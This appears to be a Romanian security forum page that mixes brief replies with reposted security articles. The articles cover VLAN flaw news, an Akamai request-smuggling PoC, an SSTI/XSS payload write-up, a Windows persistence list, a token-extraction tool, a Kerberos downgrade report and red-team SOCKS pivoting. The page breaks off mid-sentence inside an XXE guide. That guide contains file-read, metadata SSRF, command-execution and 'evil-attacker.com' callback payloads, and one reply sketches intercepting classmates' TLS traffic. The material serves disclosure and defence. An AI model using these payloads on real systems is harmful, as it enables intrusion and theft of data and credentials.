Nytro

Evolueaza si spamul, nice.

Daca ai un training set bun (supervised) in care marchezi multe imagini pe aceste categorii ar trebui sa le invete cat de cat. Nu ma pricep la subiect dar ar trebui sa fie facubil, acuratetea depinde de model.

Pe Youtube ai putea face insa e greu sa ajungi sa castigi bine, sunt destul de puitini care castiga bine pe Romania. In rest din punctul meu de vedere nu merita efortul, cel mai simplu, iti iei un job si nu ai griji.

Nu recomand un RAT care nu stii ce face. O aplicatie gen Bitdefender sau ceva de incredere care ofera aceste functionalitati, desi costa cativa dolari, poate merita banii.

Solutia ideala: Iti alegi in sala/laborator un loc in mijloc si intorci capul spre monitoarele celorlati. Solutia mai dificila nu prea exista. Fiind o retea locala poti face Man in The Middle dar nu poti prinde traficul criptat deoarece TLS. Ai avea nevoie sa generezi un root CA pe care sa il instalezi pe toate calculatoarele si la accesarea unui site sa generezi la runtime un server certificate valid (semnat de acel root CA) pentru ce cauta user-ul. Asta daca nu se fac validari mai detaliate de certificate (SSL/TLS pinning). Asta daca nu ai probleme cu MiTM-ul (mai merge ARP spoofing?). Insa si asa trebuie targetat atacul ca daca vin 20 de PC-uri cu trafic spre tine si vrei sa faci toate porcariile astea ai nevoie totusi de un PC puternic. Hint: Nu e ceva user-friendly, sa descarci ceva program, sa dai 2 click-uri si bum, Hackerman. Daca iti iese ai o bere de la mine.

Cumperi DNS (daca e folosit de mai multi) sau il pui in etc/hosts. Certificat valid poti obtine free cu letsencrypt (IP public, DNS valid) sau self-signed dar inutil cu openssl.

Serverul web ar trebui sa logheze URL-ul accesat, browser-ul, IP si alte cateva informatii. Aces log se poate modifica din config-ul serverului web pentru a loga mai multe detalii insa daca sunt multe request-uri se poate umple storage-ul. Se pot arhiva automat log-urile, se poate scripta ceva, exista solutii pentru orice.

Oh si mai era ala cu Delia, pentru cunoscatori

Interesant, nu prea stiu ce sa zic

Mai sunt cateva ore pana se scumpesc biletele: https://def.camp/tickets/

Daca zice Bogdan, merg pe mana lui.

Frumos, sunt curios cat o sa plateasca pentru ele.

Ethernet VLAN Stacking flaws let hackers launch DoS, MiTM attacks By Bill Toulas September 28, 2022 Four vulnerabilities in the widely adopted 'Stacked VLAN' Ethernet feature allows attackers to perform denial-of-service (DoS) or man-in-the-middle (MitM) attacks against network targets using custom-crafted packets. Stacked VLANs, also known as VLAN Stacking, is a feature in modern routers and switches that allows companies to encapsulate multiple VLAN IDs into a single VLAN connection shared with an upstream provider. "With stacked VLANs, service providers can use a unique VLAN (called a service-provider VLAN ID, or SP-VLAN ID) to support customers who have multiple VLANs. Customer VLAN IDs (CE-VLAN IDs) are preserved and traffic from different customers is segregated within the service-provider infrastructure even when they appear to be on the same VLAN," explains Cisco's documentation on the feature. The CERT Coordination Center disclosed the flaws yesterday after giving device vendors time to investigate, respond, and release security updates. The vulnerabilities affect networking devices such as switches, routers, and operating systems that use Layer-2 (L2) security controls to filter traffic for virtual network isolation. Cisco and Juniper Networks have confirmed that some of their products are impacted by the flaws, but numerous device vendors haven't concluded their investigation; hence the overall impact remains unknown. Problem details and implications The vulnerabilities exist in the Ethernet encapsulation protocols that allow the stacking of Virtual Local Area Network (VLAN) headers. An unauthenticated, adjacent attacker can use a combination of VLAN and LLC/SNAP headers to bypass L2 network filtering protections such as IPv6 RA guard, dynamic ARP inspection, IPv6 neighbor discovery protection, and DHCP snooping. The four vulnerabilities are: CVE-2021-27853 Layer 2 network filtering capabilities such as IPv6 RA guard or ARP inspection can be bypassed using combinations of VLAN 0 headers and LLC/SNAP headers. CVE-2021-27854 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using combinations of VLAN 0 headers, LLC/SNAP headers in Ethernet to Wifi frame translation, and the reverse Wifi to Ethernet. CVE-2021-27861 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length (and optionally VLAN0 headers). CVE-2021-27862 Layer 2 network filtering capabilities such as IPv6 RA guard can be bypassed using LLC/SNAP headers with invalid length and Ethernet to Wifi frame conversion (and optionally VLAN0 headers). By exploiting any of these flaws independently, an attacker can deceive the target device to route traffic to arbitrary destinations. "An attacker can send crafted packets through vulnerable devices to cause Denial-of-service (DoS) or to perform a man-in-the-middle (MitM) attack against a target network," warns the CERT Coordination Center. The latter is the more severe scenario, as the attacker could observe network traffic and access sensitive information if the data is not encrypted. One thing to note is that in modern cloud-based virtualization and virtual networking products, the L2 network capability extends beyond LAN, so the exposure of these flaws could be extended to the internet. Mitigations and patches Juniper Networks confirmed that CVE-2021-27853 and CVE-2021-27854 impact some of its products and released security updates on August 25, 2022. The company hasn't released a security bulletin about the issues, so all customers are advised to apply security updates to their devices. Cisco released a security bulletin yesterday confirming that many of its network products are impacted by CVE-2021-27853 and CVE-2021-27861. The affected products include switches, routers, and software, but fixes for most of them won't be made available according to the tables in the advisory. Also, end-of-life products have not been evaluated against the flaws, so they may as well be considered vulnerable and replaced as soon as possible. All network admins are advised to scrutinize and limit the protocol used on access ports, enable all available interface security controls, inspect and block router advertisements, and apply vendor security updates as soon as they become available. Sursa: https://www.bleepingcomputer.com/news/security/ethernet-vlan-stacking-flaws-let-hackers-launch-dos-mitm-attacks/

How an Akamai misconfiguration earned us USD 46.000 FRANCESCO MARIANI SEPTEMBER 17, 2022 A few months ago me and my friend Jacopo Tediosi made an interesting discovery about an Akamai misconfiguration that allowed us to earn more than 46,000 dollars. Our research highlighted how manipulating a particular HTTP header made it possible to change the way how proxies communicated with each other and how this allowed us to perform different request smuggling attacks or, in particular cases, allowed us to poison the cache with arbitrary content chosen by us. In this post we will go directly into detail without explaining how these vulnerabilities work in general, hoping that the reader knows what we are talking about. If not, there are so many resources online and even labs to practice with them. Now the question is: how were we able to reveal the misconfiguration? and how was it actually handled by major bug bounty platforms and private companies? Even today you can encounter this header in the response in several Server under the Akamai network. Probably many of you have already understood or had already tried to force the use of Content-Length instead of Transfer-Encoding. But let’s go one step at a time. Once we noticed this particular thing, any attempt to abuse the Connection header with Content-Length as a value to perform a Request Smuggling attack didn’t work. One curious thing we noticed was some unusual responses being provided by Akamai, such as [no URL]. Or, with www.example.com: if we use the same host, the server actually provided different responses, but as many will know it is difficult to determine if it was actually Request Smuggling, HTTP Pipelining, or a normal server behavior by setting the Connection header in keep-alive. Trying to redirect the requests with my co-worker we actually found that it worked. But currently, we only had one potential Denial of Service which is often rejected for lack of impact. Once this was done, we did some tests from a different network to verify that it was an open desync. Only later we discovered that by inserting other host within the Akamai network we were completely able to redirect each other and finally we had a complete request smuggling. This sounds good, but we had a problem. We don’t have a host within Akamai network. How can you prove that through the attack you can arbitrarily redirect users if you don’t have any logs to show? As we continued to try, and luckily for us, we were able to abuse this bug to arbitrarily cache content from other hosts. We also found that, in addition to the GET method, we could use the OPTIONS method to perform the desired attack, moreover, there were more chances that Akamai would not notice that the request was actually malicious. To poison the cache, it was necessary to send a first GET or OPTIONS request to a nonexistent path (also to avoid damage to the platform), preferably with static resource extensions (more likely to be taken from the cache), with the second request to arbitrary hosts. After a couple of requests, the content of the second host’s file was correctly cached due to its revalidation, like this: From then on it was possible to visit the URL /it/it/medusa.txt which returned the robots.txt of the second host. Obviously, the content we decided to cache was not malicious but we could cache many types of files such as html or js. Finally, we had a nice impact for the report. POC: OPTIONS /random.txt HTTP/1.1 Host: ORIGINAL-HOST Connection: Content-Length Content-Length: 42 GET /robots.txt HTTP/1.1 Host: ARBITRARY-AKAMAI-HOST x: 1 by sending the request twice it was possible to cache the contents of robots.txt of the second host. As soon as the discovery was made, we started responsible disclosure, reporting the vulnerability to Akamai. We have not received immediate confirmation from them. While we waited, we realized that not all Akamai hosts were vulnerable or some did not allow arbitrary content caching (they probably had no cache or particular cache key settings that did not allow the attack). We thought maybe it was some general misconfiguration and decided to report it in bug bounty platforms as well. Vulnerability management by bug bounty platforms: Our sincere admiration for the triagers of the Hackerone platform. After a very short time, they were able to replicate and understand the vulnerability by assigning the right severity. Unfortunately, in Bugcrowd many of the triagers were unable to replicate the vulnerability despite providing a oneliner with curls, video POC, screenshots, and more. Some just didn’t put the two blank lines in GET requests, others had wrong burp targets and we have also received duplicated (?). like: We were very disappointed with the Bugcrowd triagers. Microsoft: Microsoft replied very late, saying it was unable to replicate the vulnerability (Akamai had already introduced the security fix). Apple: Apple responded late, and was unable to replicate the vulnerability due to Akamai’s fix. They were very kind and we received thanks by email, but no bounty was paid (we didn’t want any). Intigriti: We only filed a bug, the triager was very nice and friendly, but he gave us a duplicated. THE FIX: Akamai took very little time to get the security fix after our report, now any attempt to use the Connection header in an inappropriate way is automatically blocked. Akamai has given us permission to make a public disclosure. Sursa: https://blog.hacktivesecurity.com/index.php/2022/09/17/http/

Escalating SSTI to Reflected XSS using curly braces {} Hello everyone! My name is Sagar Sajeev and this is my writeup explaining how I was able to escalate a Server Side Template Injection (P4) to a much more severe XSS. Note: For those who haven't heard of Server Side Template Injection or SSTI, I’ll recommend you to get some understanding about SSTI before reading this writeup. I’ve made a specific writeup explaining SSTI. You can check it out by clicking here. Basically, it’s a way to inject something(payload) into the template engine which in turn gets executed on server side. Target Scenario After hours of hardwork of trying to find an endpoint vulnerable to XSS, I finally came to an one which seemed interesting to me. It was exposing a sign up page. What was interesting about this was, it was kept hidden. The url looked something like: https://www.redacted.com/engine/signup/create.php I tried XSS payloads there, but it was filtering everything. It was then I thought of adding curly braces {} to the first name, last name and address field. To my surprise, all three of the fields did not carry out any specific filtering for curly braces. I tried the following payload:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} I know the payload looks complicated. It’s just that all entities are URL-encoded. This is how decoded payload looks: {{ <svg/onload=prompt(“XSS”)> }} The thing is that, direct payload was not going through for some reason. I had to intercept the request using burp and then add the encoded payload. XSS was fired. Well, the thing is that this is just self-XSS. Self XSS to Stored XSS The target website had a section where you could create projects. Think of the project as a folder where you can store files. The project admin can share this to other “authenticated users”. The project must be given a name and is shared using a link. Well, I named the project with the payload. Thus, now the file name is:- {{ &lt;svg/onload=prompt(&quot;XSS&quot;)&gt; }} Insane bruh moment. No File name restrictions were kept and I could name the project in however way I want. Copy the share project link and sent it to other authenticated users. As I mentioned before, only authenticated users can view the project. So, the application forces the user to login before being able to see the shared project. When an authenticated user clicks on the link, Voilà and here it is! The XSS pop-up. Quick Recap SSTI based Self-XSS payload was created. Self-XSS was escalated to Reflected XSS (differs according to attack scenario). SSTI → Self XSS → Reflected XSS This ,in fact, could be escalated to more severity. The attacker could just create a project and share its link on social media. If ,by chance an authenticated user randomly clicks on the link, XSS could be triggered. My SSTI writeup can be found here:- https://sagarsajeev.medium.com/server-side-template-injection-something-distinct-f0ac234e379 Tips:- Make sure you spend time understanding the target. I spent nearly a week on this target to find this. Don’t keep on changing from one program to another just because you aren’t able to find a specific bug. Make a list of vulnerabilities you have learned and test each of them accordingly. Also, make sure to explain the impact to the highest severity. Let them know of the most potential impact that the vulnerability could have. I recommend you to make notes. May it be handwritten or in Notion. Make sure that you take notes. It will help in the long run. Timeline Submitted : 18–09–2022 Accepted : 19–09–2022 Rewarded with Amazon gift card : 22–09–2022 I do occasionally share some tips about Bug Bounties and related stuff over at my Twitter and LinkedIn handle. So do follow me there. If you’ve got any queries, feel free to message me. I will be more than happy to help. LinkedIn : https://www.linkedin.com/in/sagar-sajeev/ Twitter : https://twitter.com/Sagar__Sajeev Thanks for going through my writeup and I hope it was useful to you. I’ve made many other writeups on my Medium handle. Please do check those out as well. Happy Hunting! Sursa: https://sagarsajeev.medium.com/escalating-ssti-to-reflected-xss-using-curly-braces-825685bd93ec

The repository tries to gather an information about Windows persistence mechanisms to make the protection/detection more efficient. Most of the information is well known for years, being actively used within various scenarios. Expect more. I am doing my best to add new entries each day. How it works. And how to contribute. 👨‍💼 HKCU Run and RunOnce registry keys 👨‍💼 ⚙ Task Scheduler ⚙ Image File Execution Options key ⚙ Windows Services AeDebug WER Debugger * ⚙ Natural Language Development Platform 6 DLLs * ⚙ GPO Client-side Extension ⚙ Filter Handlers for Windows Search Disk Cleanup Handler 👨‍💼 .chm helper DLL * hhctrl.ocx * ⚙ AMSI Providers ⚙ ServerLevelPluginDll Password Filter Credential Manager DLL ⚙ Authentication Packages Code Signing DLL 👨‍💼 HKCU cmd.exe AutoRun ⚙ LSA Extension ⚙ Winlogon Notification Package ⚙ Print Monitor 👨‍💼 HKCU Load MPNotify ⚙ Windows Platform Binary Table Explorer tools * 👨‍💼 Windows Terminal Profile 👨‍💼 Startup Folder 👨‍💼 User Init Mpr Logon Script * ⚙ Autodial DLL * .NET Startup Hooks 👨‍💼 PowerShell Profiles 👨‍💼 TS Initial Program Want more? Check the list tomorrow. * Based on a research made by @Hexacorn - one of the best persistence hunters. ⚙ It is enough to turn computer on to make the code run. 👨‍💼 End-user can do it. Sursa: https://persistence-info.github.io/

The talk discusses a few techniques that can be applied by Red Team across every stage of the cyber kill-chain to reduce their activities detection rate. Author will share evasion tactics he's been following during recently held engagements One of the toughest hurdles of every Red Team engagement is obviously detection potential of exercised Blue Teams. These teams base their defensive capabilities on systems producing feed of incident events sensing potentially malicious IOCs such as domains, API calls invoked in monitored system or unusual file types. Red Teams aiming to simulate APTs should therefore apply evasion strategies in every step of their designed kill-chain to lower detection rates and increase success rate of accomplishing engagement goals while undetected. For Red Teamer, every stage of the kill chain has its own issues detection-wise. This talk will therefore try to map out some of these detection areas and discuss appropriate evasion strategies combating them.

0dayex-checker Zeroday Microsoft Exchange Server checker (Virtual Patching checker) Sursa: https://github.com/VNCERT-CC/0dayex-checker

AzTokenFinder Is a small tool to extract JWT (or JWT like looking data) from different processes, like PowerShell, Excel, Word or others. The idea was from another tool which I read about on Twitter, but I could not find it anymore. Maybe someone could give me a hint. AzTokenFinder.exe --help --processname Names of process you want to parse. Please omit the ".exe". --processids ProcessIDs you want to parse. --default Enumerate Edge, Excel, Word, PowerShell, Teams, Onedrive and PowerPoint. --showexpiredtokes (Default: false) Shows expired tokens. --help Display this help screen. --version Display version information. How does it work There is nothing special in it. It simply opens the processes you provide and searches through the memory for JWT like looking data and extracts them. Note It currently only works with x64 processes and it does not extract refresh tokens currently. Maybe I'll change this later. Sursa: https://github.com/HackmichNet/AzTokenFinder

Issue 2310: Windows: Kerberos RC4 MD4 Encryption Downgrade EoP Reported by forshaw@google.com on Thu, Jun 2, 2022, 9:58 PM GMT+3 Project Member Description #1 by forshaw@google.com (Jun 2, 2022) Windows: Kerberos RC4 MD4 Encryption Downgrade EoP Platform: Windows 10+ Class: Elevation of Privilege Security Boundary: User Summary: The KDC allows an interposing attacker to downgrade to RC4 MD4 encryption in compromising the user's TGT session key resulting in EoP. NOTE: I tried to look if this was something which has been reported before. The fact that Kerberos can have its encryption downgraded is a well known issue, but the primary use case seems to be to get crackable data by weakening the encryption. However, I couldn't find a description of this specific attack. Also while I'm sure Kerberos armoring will prevent the attack as is, unless FAST is required I am led to understand that an attacker can downgrade to non-FAST if they're in a privileged position on the network. Description: When Kerberos makes an initial request to the KDC to authenticate a user it sends an AS-REQ structure. One of the options in the AS-REQ is a list of encryption algorithms that the client supports. The KDC will accept the strongest available from the list for things like session keys. The problem with the list is it's unprotected (without FAST) and so an attacker who interposes the connection can modify it before it goes to the KDC. This allows the attacker to downgrade the encryption used to a weaker algorithm such as RC4-HMAC which is more amenable to cracking the password due to the weak password to key generation. However, even with downgrading to RC4-HMAC it's not an immediate exploit, the key would have to be cracked offline which for complex passwords can take a long time. For example, a computer account usually has a 120 character randomly generated password which would be effectively impossible to crack. Through inspection it seems that you can request any Kerberos encryption algorithm supported by CRYPTDLL which implements all the Kerberos encryption engines. The one of most interest is RC4-MD4 (encryption type -128) as it has some serious security weaknesses. 1. Only 8 of the 16 key bytes are used by the encryption algorithm. 2. The key is not blinded or otherwise hashed unlike RC4-HMAC which means the key stream is always the same for the same key. 3. The encryption ignores the key usage value so different parts of the protocol also use the same RC4 key stream. 4. The encryption has no cryptographic checksum applied so the cipher text can be modified if the plain text is known. 5. Session keys, when generated, only have 40bits of randomness, the remaining 11 bytes of the key as populated with the value 0xAB. If you can downgrade the client and KDC to use RC4-MD4 then it's catastrophic for the Kerberos authentication process. An attacker could get the KDC to use an RC4-MD4 session key for the initial TGT which only has 40 bits of entropy and be reasonably confident of brute forcing that before the associated ticket expires. They could then issue TGS requests for arbitrary service tickets for that user. However, brute force seems overly complex. Instead if the initial AS-REQ without the pre-authentication is downgraded then it induces the client into using RC4-MD4 with its RC4-HMAC key for the encrypted timestamp. The KDC authenticates the timestamp and returns an AS-REP with the result also encrypted to the user's RC4-HMAC key but with the RC4-MD4 algorithm. Almost the entirety of the encrypted timestamps' plain text data is known or can be guessed, which means we can determine the keystream for the user's encryption key. We can then apply that keystream to decrypt some encrypted data in the AS-REP. By luck the TGT session key is at the start of the encrypted data. We don't have enough of the keystream from the timestamp to decrypt the entire key but we only need the first 5 bytes due to the weak session key generation. We end up with an overlap between the last byte of the key and the first byte of the microseconds for the timestamp which could be anything. As long as we then observe at least one TGS-REQ from the user (which they will almost certainly do) we can use that to brute force offline the single remaining byte of the key. With the TGT session key the attacker could impersonate the user entirely. How you interpose the Kerberos connection is myriad. Obviously local network based attacks are possible such as a "Coffee Shop" attack or DNS spoofing. It's possible this could also resurrect attacks such as MS15-011 on group policy as getting the TGT of the computer account would allow for the session keys for service tickets to be decrypted and by extension the sub-session keys from the AP-REQ to hijack the SMB connection. Fixing wise, nothing should be using the RC4-MD4 encryption algorithm, it's not even clear why it's still there in CRYPTDLL. One way to mitigate the attack as described is to disable RC4 across the board, both on the KDC and the clients. If this is only disabled on clients then it might be possible to get the initial pre-authentication to use AES but only change the session key which might allow it to continue to function but I've not verified that. Even if you do that you might need to bruteforce the session key, but that's doable. Using PKINIT would break the initial hijacking of the AS-REQ's encrypted timestamp, but it might still be possible to downgrade the TGT's session key. At that point the only attack might be to brute force the key. However it is also possible that the encrypted data in the initial TGS-REQ could be attacked instead as the encrypted authorization data is encrypted with the same key as the authenticator. FAST would also break the attack as described but I'm not sure if that's sufficient if you're in a privileged network position and FAST is not required. Proof of Concept: I’ve provided a PoC as a C# project. It works locally using KDC pinning to hijack a SSPI Kerberos authentication process to steal the TGT. This in itself is a potentially useful local privilege escalation but of course the real attack would be remote. You need to get and build a copy of my NtApiDotNet library to build the project (https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools). 1) Compile the C# project, put a copy of NtApiDotNet.dll in the project's directory before building. 2) Run the POC on a domain joined machine where FAST hasn't been configured and RC4 is still enabled. 3) The POC should complete successfully. Expected Result: The downgraded encryption is rejected on the KDC and/or the client. Observed Result: The KDC and client honor the encryption downgrade and the POC can request a new TGT indicated by printing the final key. This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2022-08-31. [Deleted] poc_rc4.zip Sursa: https://bugs.chromium.org/p/project-zero/issues/detail?id=2310

WireSocks for Easy Proxied Routing Reading time ~9 min Posted by Michael Kruger on 30 September 2022 Categories: Networking, Offence, Vpn, Windows I built some infrastructure that you could deploy and use to easily tunnel from arbitrary sources over a proxy such as SOCKS, using anything that can run WireGuard. This is convenient in cases where it would be nicer to have a full network route to a target network (with working DNS) vs just having application specific proxy rules. In this post I’ll elaborate a bit on that idea. If you are just looking for the code you can find it here: https://github.com/sensepost/wiresocks. Introduction We often get into a position where some sort of internal device has been compromised and you want to take it further. This involves getting network traffic through your compromised device via a SOCKS proxy. SOCKS proxies are everywhere and there are many examples of Cobalt Strike or Metasploit being used to proxy traffic through an agent or tools like ReGeorg, Pivotnacci or Chisel being used to proxy traffic via a compromised web server or similar. Existing solutions Once you have a SOCKS proxy setup, that is usually when good old reliable proxychains-ng comes into the picture where you’d use it to tunnel the majority of your tooling through the proxy. However, recently a lot of really nice tools have been released which have been made to run on Windows. This comes with the issue of how are we going to trick these Windows applications into using our proxy. The SpectorOps team wrote an excellent post detailing how to use software such as Proxifier and Proxycap on Windows to force your tools to use your proxy. If you haven’t, go read it! Unfortunately, in some edge cases those tools fail or become annoying by not catching all the traffic as you’d like. Having this happen a few times, I was struck with some inspiration. Why not do the redirection at a network level and avoid all the weird Windows nuances? Network Level Proxying Luckily for me there already was a project that handled this called tun2socks (originally I used RedSocks, but @RoganDawes showed me tun2socks which removes some of the iptables complexity in RedSocks) which is really just some Golang magic together with some routes that lets you redirect traffic into a tun device and have it push traffic through your SOCKS proxy. This seemed like a great idea, except every time you would want to use it for your Windows machine you would have to setup a Linux router with this installed and route your Windows machine through it. This would be more effort than Proxyfier, I felt. Turns out, we have this easy network tooling that runs on Windows (amongst others) that takes your traffic from one point to another called VPNs. More specifically in this instance I used WireGuard which is an awesome simple VPN that has clients for all manner of operating systems. WireSocks Glueing those two services together, ie. tun2socks and Wireguard, we can connect arbitrary clients via Wireguard and route traffic into a SOCKS proxy and into client networks. High level architecture diagram for WireSocks Using this setup, we can now interact with a remote network, using a traditional network route, complete with DNS resolution (more on that in a moment!). Listing of a Domain Controller’s shared folders via a SOCKS proxy exposed using Cobalt Strike, leveraging WireGuard and tun2socks to reach it. To make getting up and running even simpler I did some searching for docker containers to handle some of the work for me. I found that tun2socks also had a container, xjasonlyu/tun2socks and linuxserver/wireguard which I had previously used for my own WireGuard server. I did some editing of the tun2socks docker container with a simpler entry point to our use case. Using docker compose to glue the services together and to set this up quickly on a jump box, I gave it a test and was able to get SeatBelt.exe into the network from my own Windows VM just by connecting to the WireGuard VPN. \o/ Running SeatBelt on a remote host, inside the compromised network over our WireGuard tunnel, via a SOCKS proxy. DNS via WireSocks There is one problem though, UDP traffic is not working great (even though SOCKS5 supports it), which causes issues as DNS is over UDP. After fighting with tunnelling UDP traffic and eventually working out that the specific SOCKS proxy I was using did not support UDP I opted to setup a DNS server which would take UDP requests and forward them on as TCP. This was very easy as the linuxserver/wireguard docker had CoreDNS as its own DNS server for WireGuard clients. After looking at CoreDNS’ plugins I discovered the forward plugin supported an option to force TCP. This means that if the client uses the WireGuard CoreDNS server the request would be converted to TCP and would then be captured by tun2socks solving the issue. Once again I went for an allow list approach so that we can specify which DNS requests get forwarded through the SOCKS proxy so that we don’t spam the victims internal DNS with random requests. An example Corefile follows: # Domain that you would like to convert to TCP so that # it gets pushed through tun2socks example.zzz { loop log # Change IP to that of the internal DNS server you want to use. forward . 123.123.123.123:53 { force_tcp } } Bringing it all together To get this all setup easily, I created a basic Dockerfile based off the one in the tun2socks repo so that it would take my own entrypoint.sh. My entrypoint removed a lot of the iptables marks in the original and instead just parses some environment variables such as $TUN_INCLUDED_ROUTES to add routes in the docker container running tun2socks. config_route() { for addr in $(echo "$TUN_INCLUDED_ROUTES" | tr ',' '\n'); do ip route add $addr dev $TUN done } This docker now would setup the TUN interface and the configured routes would be redirected into the TUN and therefore into the SOCKS proxy. Now I just needed to run the second WireGuard docker and get it to use the same routes as well as have access to the network namespace of the tun2socks docker so it could use the TUN interface. Or I could just add a WireGuard server to the tun2socks docker. Turns out the first option is easier. It is possible to tell a docker to use the network namespace of another container when it gets setup. This is done by specifying container:container_name as a --net option like below: docker run -it --rm --net container:wiresocks alpine /bin/sh The above command would run an alpine container but its network stack would be the same as the wiresocks container which includes all the routes as well as the TUN interface. This allows you to generically add any dockerised tools into that namespace which would obey the routes and essentially be SOCKS’d via the proxy. This means you can bring any docker container into the same namespace and have it access the same network! Using the same namespace trick to attach a docker container with impacket tools installed to use the same socks proxy hack. Going back to WireGuard I created a docker-compose that handles most of the setup for you so that you can have any client machine get routed via SOCKS transparently: https://github.com/sensepost/wiresocks/blob/main/docker-compose.yml Getting started with Wiresocks Using WireSocks should be pretty simple. You need a host (say a jump box), a proxy (such as SOCKS) into your target network (your jump box should be able to reach it), and docker compose installed. Then, clone the WireSocks repository, copy the example .env.example file to .env, edit it appropriately and run docker compose up -d. With the stack up and running, you should see a new config/ directory which will contain the WireGuard client configuration files you’d need to configure on your clients (like Windows, Linux, macOS etc.). Conclusion So all of this provides a generic way to get a computer’s TCP traffic into a SOCKS proxy without too much funny business. UDP support is something that the SOCKS proxy would need support for and it also needs to play nicely with tun2socks, so if someone can figure that out before me, please let me know! The tool/docker can be found here: https://github.com/sensepost/wiresocks Hopefully this helps some people who have been frustrated by their tools not using their SOCKS. Sursa: https://sensepost.com/blog/2022/wiresocks-for-easy-proxied-routing/

How to find and fix XML entity vulnerabilities Michael Sherman September 7, 2022 XML is a human-readable text format used to transport and store structured data. Tags and data structures are defined by users in self-describing documents that are universally parsable by any XML tool, giving developers a highly configurable mechanism for data representation. To build on XML’s limited base syntax, an author can define the structure and acceptable content of a document’s data using a document type definition (DTD). The DTD enables users to define a document’s valid data and describe data in one location for reuse throughout the document. A general entity is declared in the DTD, and then referenced in the document body by adding an ampersand (&) before its name and a semicolon (;) after. You can define an entity in the document: <!ENTITY name "Taylor Gray"> ... <name>&name;</name> However, you can also declare an entity in an external source by referencing a file path or URL: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE person SYSTEM "person.dtd"> <person> <name>&name;</name> </person> The person.dtd file contains: <!ENTITY name "Taylor Gray"> Combined with XML’s simple syntax and the uniformity of most parsers, this capability makes it relatively simple for attackers to perform an attack called XML external entity (XXE) injection. In this post, we’re going to take a close look at XXE and explore ways to prevent it. Why XXE represents a security risk XXE injection attacks let attackers take advantage of external entity declarations to gain access to files or infrastructure on their target server or network. This can include sensitive personal information, business logic, and credentials. In serious cases, attackers can commit a server-side request forgery, which lets them impersonate a server on their target’s network and may enable them to execute code remotely. This enables them to escalate their privileges to traverse their target’s infrastructure and attack other unprotected components — or propagate attacks appearing to originate from their target to other networks downstream. DATA RETRIEVAL The most common XXE injection vulnerability lets attackers prompt a server to disclose sensitive data or files in an HTTP response. In isolation, this gives an attacker read-only access to data, but it can reveal information useful for escalating to a more damaging attack. For example, an attacker can send a payload to a target server to cause the target server to display a local password file: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE staffInfo [ <!ENTITY xxe SYSTEM "file:///etc/pâsswd"> ]> <staffInfo> <username>&xxe;</username> <email>email</email> </staffInfo> Implementing a robust data encryption protocol is effective in preventing data retrieval, as it renders the stored data unreadable and unusable — even if an attacker successfully infiltrates the target’s server. Using symmetric algorithms such as the advanced encryption standard (AES) to store and transfer sensitive XML-based information, you set a confidential security key that will be used to encrypt and decrypt your data. Furthermore, disabling the XML parser’s default support for external entities is an effective mitigation strategy against this kind of attack. SERVER-SIDE REQUEST FORGERY A server vulnerable to XXE injection presents an opportunity for an attacker to impersonate the server and make requests to internal resources not normally visible outside the network. In a server-side request forgery (SSRF) attack, an attacker will typically inject a URL or address pointing to the vulnerable server’s local file system instance or other restricted-access resources — especially when user inputs are not properly filtered by the XML parser. They can then obtain credentials and gain administrative privileges within their target’s network: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE userInfo [ <!ENTITY xxe SYSTEM "https://169.254.169.254/latest/meta-data"> ]> <userInfo> <username>&xxe;</username> <email>email</email> </userInfo> If the attacker successfully gains administrative privileges, they can impersonate the server to probe their target’s network for additional vulnerabilities. They may even be able to remotely execute code and propagate further attacks. There are a few remedies that significantly improve your application’s resilience to this kind of attack: Block all unauthorized incoming user requests to internal resources and confidential addresses. Consider implementing a comprehensive blocklist containing possible malicious addresses and URLs that may pose a threat to your web infrastructure. Adopt intelligent static analysis tools (such as Snyk Code) capable of testing your code for vulnerabilities and security loopholes. REMOTE CODE EXECUTION An attacker can use XXE injection for remote code execution (RCE) on a target server. For example, they can target a PHP-powered website or application where the Expect plugin is enabled by declaring an entity containing the expect wrapper to remotely execute commands: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE userInfo [ <!ENTITY xxe SYSTEM "expect://ifconfig"> ]> <userInfo> <username>&xxe;</username> <email>email</email> </userInfo> The ifconfig command in this example returns the server’s network configuration when the XML parser evaluates the xxe entity. We can prevent RCE by selectively disabling protocol wrappers, such as the Expect PHP extension, in our websites or web apps. However, even in cases where there are no avenues of receiving a direct response from the server, an attacker can use blind XXE methods instead. BLIND XXE ATTACKS In some cases, XML parsers may prevent entity declarations in the body of the XML documents. An attacker can bypass this restriction by using parameter entities, which are only declared in the DTD or as the value of another entity. A parameter entity is declared by prepending its name with a percent sign and a whitespace character (%), and then referenced by adding a percent sign (%) before its name and a semicolon (;) after. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "https://evil-attacker.com"> %xxe; ]> In this code, the targeted server will try to send the HTTP request to the attacker’s server URL. As a result, the attacker can perform the DNS lookup of the target server using this blind XXE attack. ERROR-BASED INFORMATION DISCLOSURE Our server is vulnerable to blind XXE injection methods if an attacker can retrieve valuable data by examining the error messages our server emits. For example, this payload coerces our server to disclose a /etc/pâsswd file in its error message: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % badfile SYSTEM "file:///etc/pâsswd"> <!ENTITY % wrapper "<!ENTITY &#x25; induce SYSTEM 'file:///nosuchfileexists/%badfile'>"> %wrapper %induce ]> This payload defines three parameter entities: badfile, populated by the content of the /etc/pâsswd file, wrapper, which contains the dynamic declaration of a new parameter entity named induce, and the induce entity, which induces a lookup to a path that triggers an error message. To declare the wrapper entity, the attacker dynamically declares the induce entity, which contains a valid but nonexistent path containing the value of the badfile parameter. Then, when the wrapper entity is referenced, the dynamic declaration of the induce entity will be initiated. Finally, when the parser encounters the induce entity, it returns an error message informing the user that the file with the name equal to the value of badfile doesn’t exist on the nosuchfileexists path. And since badfile contains the contents of etc/pâsswd, the information is displayed for the attacker. A robust error-handling protocol can reduce our app’s vulnerability to error-based information disclosure. This protocol may include limiting the length and scope of the error messages that the server sends to the client. By using a custom message body and HTTP status code, we can avoid verbose, automatically generated error 